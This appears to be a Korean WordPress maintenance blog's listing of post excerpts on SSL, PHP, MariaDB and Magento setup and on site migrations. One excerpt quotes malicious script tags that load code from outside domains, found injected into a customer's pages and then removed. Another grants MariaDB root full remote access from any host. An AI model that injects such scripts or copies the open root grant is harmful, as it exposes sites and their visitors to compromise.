• 워드프레스 유지보수 > 워드프레스 유지보수

    카페24 호스팅에서 운영중인 워드프레스 홈페이지에 외부 SSL인증서 설치하는 방법

    카페24 호스팅에서 운영중인 워드프레스 홈페이지가 있습니다. 이 워드프레스 홈페이지에 https 접속되도록 SSL인증서 설치하는 방법을 설명합니다. 여기서 사용된 SSL인증서는 SecureSign 에서 제공하는 Sectigo PositiveSSL 입니다. SecureSign 사이트에서 인증서 신청한 다음 인증서 상품 구매, DCV(도메인권한인증), 발급 완료합니다. 정상적으로 발급이 완료된 경우 다음과 같은 메일을 받게 됩니다. 또한, 위 메일에 cert.zip이 첨부되어 있는데 이 파일을 압축 해제하면 다음과 같은 파일을 볼 수 있습니다. 이제 호스팅 사이트에서 외부인증서 관리 메뉴에서 다음을 입력합니다. 위 그림의 인증서(SSL CRT) 칸에 도메인_2019101738X9.crt.pem 내용 입력 그리고 [인증서 확인] 버튼 클릭 하단에 SSL 인증서 정보 출력됨 다음으로는 개인티(Private Key) 입력 lawhome.kr_2019101738X9.key.pem 내용 입력 비밀번호(Passphrase) 입력 없이 [신청하기] 버튼 클릭 보통 인증에 3일정도 소요된디고 하는데, 하루도 되지 않아서 승인되었음. 여기까지하면 카페24에서 할 일은 다 한 것입니다. 다음은 워드프레스 설정 과정입니다. […]

  • 워드프레스 유지보수 > AWS

    Ubuntu 18.04 환경에 Magento 2.2.3 버전 설치 방법

    아마존 AWS에서 Magento 2 솔루션을 설치하는 과정을 설명합니다. 먼저, 설치 환경은 다음과 같습니다. + Ubuntu 18.04 + Magento 2 + Apache2 + MariaDB + PHP 7.1 * 참고로 Magento 2 설치 시 메모리 용량이 최소 2GB 이상은 되어야 정상 설치됩니다. 설치 순서는 다음과 같습니다. Step 1: Install Apache2 HTTP Server on Ubuntu $ sudo apt update $ sudo apt install apache2 Aapache2 stop, start, enable $ sudo systemctl stop apache2.service $ sudo systemctl start apache2.service $ sudo systemctl enable apache2.service Apache2 접속 테스트 http://IP or localhost Step 2: Install MariaDB Database Server $ sudo apt-get install mariadb-server mariadb-client MariaDB stop, start, enable $ sudo systemctl stop mariadb.service $ sudo systemctl start mariadb.service $ sudo systemctl enable mariadb.service root 비밀번호, 원격 접속 설정 등 환경 […]

  • No Image
    워드프레스 유지보수 > 워드프레스 유지보수

    고비즈메일 설정 참고

    해외수출 기업들의 외국어 홈페이지 제작 시 고비즈메일을 이용하는 경우가 간혹 있습니다. 이 경우는 홈페이지 제작은 별도의 도메인/호스팅에서 진행하고, 메일 경우는 고비즈메일을 이용하는 경우입니다. 이 문제는 생각보다 어렵지 않게 해결할 수 있는데요, 홈페이지 도메인의 네임서버 설정에서 MX레코드 값만 추가하면 처리됩니다. MX레코드 값 설정 참고 페이지는 하단과 같습니다. http://www.gobizmail.com/smepage/gobiznews/mainpagefiles/noticeTip_pop.jsp?idx=187 실제 설정 값 추가는 다음과 같습니다. 레코드 타입: 메일서버(MX) 우선순위: 5 호스티명: 도메인명 IP주소: sniper.gobizmail.com 이렇게 설정한 다음 30분~1시간 내 정상적으로 메일이 송/수신 되는 것을 확인할 수 있습니다.

  • No Image
    워드프레스 유지보수 > AWS

    CentOS7.0 에서 yum 방식으로 php 7.0 버전 설치 및 최적화

    CentOS 7.x 버전에서 yum 방식으로 php 5.4.x에서 php 7.0 버전으로 업데이트하는 방법을 살펴 봅니다. 업데이트 순서는 다음과 같습니다. (root 권한으로 수행해야 합니다) # rpm -Uvh https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm # rpm -Uvh http://rpms.famillecollet.com/enterprise/remi-release-7.rpm # yum list –enablerepo=remi –enablerepo=remi-php70 | grep php 패키지 설치 # yum install –enablerepo=remi –enablerepo=remi-php70 php php-bcmath php-cli php-common php-devel php-gd php-mbstring php-mysql php-odbc php-pdo php-process php-xml php-xmlrpc (필요한 패키지 나열) 만약 설치되지 않고 dependency로 인해 정상 설치 되지 않은 경우 설치된 php 및 패키지를 먼저 삭제하고 다시 설치를 합니다. 패키지 삭제 # yum remove php php-bcmath php-cli php-common php-devel php-gd php-mbstring php-mysql php-odbc php-pdo php-process php-xml php-xmlrpc 패키지 설치 # yum install –enablerepo=remi –enablerepo=remi-php70 php php-bcmath php-cli php-common php-devel php-gd php-mbstring php-mysql php-odbc php-pdo php-process php-xml php-xmlrpc php-litespeed php-opcache (필요한 패키지 나열) 아파치 재시작 # systemctl restart httpd # php -v [root@calypso ~]# […]

  • No Image
    워드프레스 유지보수 > 워드프레스 유지보수

    CentOS 7에서 MariaDB 설치 및 설정

    CentOS 7 환경에서 MariaDB 설치 및 설정하는 방법을 살펴 보겠습니다. 우선, CentOS 7은 이미 설치된 것으로 가정합니다. 1. MariaDB 설치 방법 웹상에는 이미 MariaDB 설치 방법을 잘 설명해 놓은 문서가 많이 있습니다. 참고: CentOS7 MariaDB 설치 이 문서에서는 DB 시작, root 비밀번호 변경, 포트 확인까지 설명되어 있습니다. 하지만, 원격 접속, 사용자 추가 및 권한 부여 등은 다루지 않고 있습니다. 2. MariaDB 원격 접속 방법 MariaDB 설치 이후 원격에서 접속할 수 있도록 설정하는 방법을 살펴 보겠습니다. $ mysql -uroot -p MariaDB [(none)]> use mysql; MariaDB [(none)]> grant all privileges on*.* to ‘root’@’%’ identified by ‘DB 비밀번호’; MariaDB [(none)]> flush privileges; 3. 사용자 추가 및 권한 부여 이번에는 사용자 추가 및 권한 부여 방법을 살펴 보겠습니다. $ mysql -uroot -p MariaDB [(none)]> use mysql ; // […]

  • 워드프레스 유지보수 > 워드프레스 유지보수

    [BCT 워드프레스 유지보수 사례] 워드프레스 다국어 홈페이지 이관 사례

    이번 BCT 워드프레스 유지보수는 영문, 국문, 중문, 스페인 홈페이지 이관 사례입니다. 이 중 중문을 제외하고는 워드프레스 기반인데, 영문, 국문은 워드프레스 멀티사이트로 제작되었고, 스페인 홈페이지는 싱글 워드프레스로 제작된 홈페이지입니다. 중문은 워드프레스 아닙니다. 그 외 홈페이지에서 사용중인 도메인을 회사 메일로 사용중인 것이 좀 문제가 될 수 있을 듯 합니다. 이와 같은 요구사항을 검토한 후, BCT 워드프레스 유지보수에서 운영중인 서버로 이관을 해야 하는데, 평일에는 메일을 중단 할 수 없어 주말에 이관 작업을 하였고, 기존 네임서버을 BCT 워드프레스 유지보수에서 사용중인 네임서버로 변경 시 메일 관련 설정을 추가로 해야 하나 했는데, 네임서버 이관 시 기타 네임서버 설정은 자동으로 가져와서 어렵지 않게 홈페이지 이관을 마무리 할 수 있었습니다. 중문, 스페인 홈페이지는 다행히 아직 외부 링크가 살아 있어서 별도의 이관 작업 없이 운영이 되었습니다.

  • 워드프레스 유지보수 > 워드프레스 유지보수

    [BCT 워드프레스 유지보수 사례] 워드프레스 로딩 속도 문제로 인해 이관

    BCT 워드프레스 유지보수 서비스 런칭 이후 워드프레스의 특징으로 인한 문제로 인해 홈페이지의 정상 운영이 어려운 고객분들이 연락을 주십니다. 이번 사례는 워드프레스로 접속된 홈페이지의 로딩 속도가 느려서 이 문제를 해결하고 싶다는 경우입니다. 고객님으로부터 워드프레사 파일/DB 백업 파일을 받아서 이관을 해 보니 홈페이지는 정상적으로 보이지만, 역시 개별 페이지 접속 시 로딩 속도 문제가 있었습니다. 이 경우는 대부분 글 또는 페이지 앞 뒤에 이상한 스크립트 코드가 추가되어 해당 페이지 로딩 시 외부 리소스를 요청하면서 발생하는 경우입니다. 아니나 다를까 워드프레스 관리자로 접속해서 개별 페이지를 살펴보니 다음과 같은 스크립트 코드가 한 가득 있었습니다. <script type=’text/javascript’ src=’https://con1.sometimesfree.biz/c.js’></script><script type=’text/javascript’ src=’https://con1.sometimesfree.biz/c.js’></script><script type=’text/javascript’ src=’https://con1.sometimesfree.biz/c.js’></script><script src=’https://traffictrade.life/scripts.js’ type=’text/javascript’></script> 위 경우처럼 정체를 알 수 없는 스크립트가 코드가 모든 페이지에 추가되어 있었고, 이로 인해 페이지 로딩 속도가 느린 것이었습니다. 이 코드를 모두 제거하였더니 모든 페이지가 이제 정상적인 속도로 로딩 되었습니다. 다행히 이 경우는 문제의 원인을 알기가 […]

  • 워드프레스 유지보수 > 워드프레스 유지보수

    [BCT 워드프레스 유지보수 사례] 서버호스팅에서 운영중인 국영문 홈페이지 이관 요청

    BCT 워드프레스 유지보수 서비스 런칭 이후 워드프레스의 특징으로 인한 문제로 인해 홈페이지의 정상 운영이 어려운 고객분들이 연락을 주십니다. 이번에 문의 온 업체 상황을 간략히 정리하면 다음과 같습니다. – 도메인 abc.com 보유 – 별도 네임서버 관리 업체를 통해 국문 홈페이지, 영문 홈페이지 분기 – 국문 홈페이지는 주소가 abc.com & www.abc.com이고 워드프레스 아닌 PHP 기반으로 제작된 홈페이지이며, 서버 위치는 네임서버가 위치한 서버임 – 영문 홈페이지는 주소가 eng.abc.com이고 워드프레스로 제작된 홈페이지이며, 서버 위치는 별도의 서버 호스팅임 이 상황에서 네임서버 이전 및 별도의 서버 호스팅에 문제가 생겨 이번 기회에 BCT 유지보수를 받고 호스팅을 이관하기로 하였습니다. —————————————————————————————————- 제안 드린 방안은서 서버 호스팅으로 운영한 2개 홈페이지를 웹호스팅으로 분리해서 운영하도록 한 것입니다. 그 이유는 2개 사이트 운영을 위해 서버 호스팅을 운영할 수는 없고, 또한 1개 웹호스팅으로 다른 방식으로 제작된 홈페이지를 동시에 운영하는 것도 어렵기 때문입니다. 1개 도메인을 2개 웹호스팅으로 분기할 네임서버 경우는 […]

  • No Image
    워드프레스 유지보수 > 워드프레스 유지보수

    CentOS7.x 에서 php7.x 에서 php5.6.x 버전으로 다운그레이드하는 방법

    CentOS 7.x 버전에서 yum 방식으로 PHP 7.x에서 PHP 5.6.x 버전으로 업데이트하는 방법을 살펴 봅니다. 다운그레이드 순서는 다음과 같습니다. (root 권한으로 수행해야 합니다) 먼저, 기 설치된 PHP 7.x 을 삭제합니다. # yum remove php php-bcmath php-cli php-common php-devel php-gd php-mbstring php-mysql php-odbc php-pdo php-process php-xml php-xmlrpc PHP 5.6.x 를 재설치합니다. # rpm -Uvh https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm # rpm -Uvh http://rpms.famillecollet.com/enterprise/remi-release-7.rpm # yum list –enablerepo=remi –enablerepo=remi-php56 | grep php 패키지 설치 # yum install –enablerepo=remi –enablerepo=remi-php56 php php-bcmath php-cli php-common php-devel php-gd php-mbstring php-mysql php-odbc php-pdo php-process php-xml php-xmlrpc (필요한 패키지 나열) 아파치 재시작 # systemctl restart httpd [root@calypso ~]# php -v PHP Warning: PHP Startup: apc: Unable to initialize module Module compiled with module API=20100525 PHP compiled with module API=20131226 These options need to match in Unknown on line 0 PHP 5.6.40 (cli) (built: May 28 2019 […]

  • 워드프레스 유지보수 > 워드프레스 유지보수

    CentOS 7에서 php 7.2 버전으로 업데이트 방법 (yum 방식)

    이 글은 이전 CentOS7.0 에서 yum 방식으로 php5.6.x 버전 설치하기 이후 PHP 7.2 버전으로 업데이트 하는 방법을 설명하고 있습니다. 업데이트 순서는 다음과 같습니다. 우선 remi repository를 yum 에 추가 합니다. $ 더블유겟 https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm $ rpm -Uvh epel-release-latest-7.noarch.rpm $ 더블유겟 http://rpms.remirepo.net/enterprise/remi-release-7.rpm $ rpm -Uvh remi-release-7.rpm $ yum-config-manager –enable remi-php72 만약 설치되지 않고 dependency로 인해 정상 설치 되지 않은 경우 설치된 php 및 패키지를 먼저 삭제하고 다시 설치를 합니다. PHP 패키지 삭제 # yum remove php php-bcmath php-cli php-common php-devel php-gd php-mbstring php-mysql php-odbc php-pdo php-process php-xml php-xmlrpc PHP 패키지 설치 # yum install –enablerepo=remi –enablerepo=remi-php56 php php-bcmath php-cli php-common php-devel php-gd php-mbstring php-mysql php-odbc php-pdo php-process php-xml php-xmlrpc (필요한 패키지 나열) 정상 설치되지 않고 하단과 같은 에러가 뜹니다. Error: Package: php-cli-7.2.12-1.el7.remi.x86_64 (remi-php72) Requires: libargon2.so.0()(64bit) Error: Package: php-7.2.12-1.el7.remi.x86_64 (remi-php72) Requires: libargon2.so.0()(64bit) […]

이전112345/5
위로이동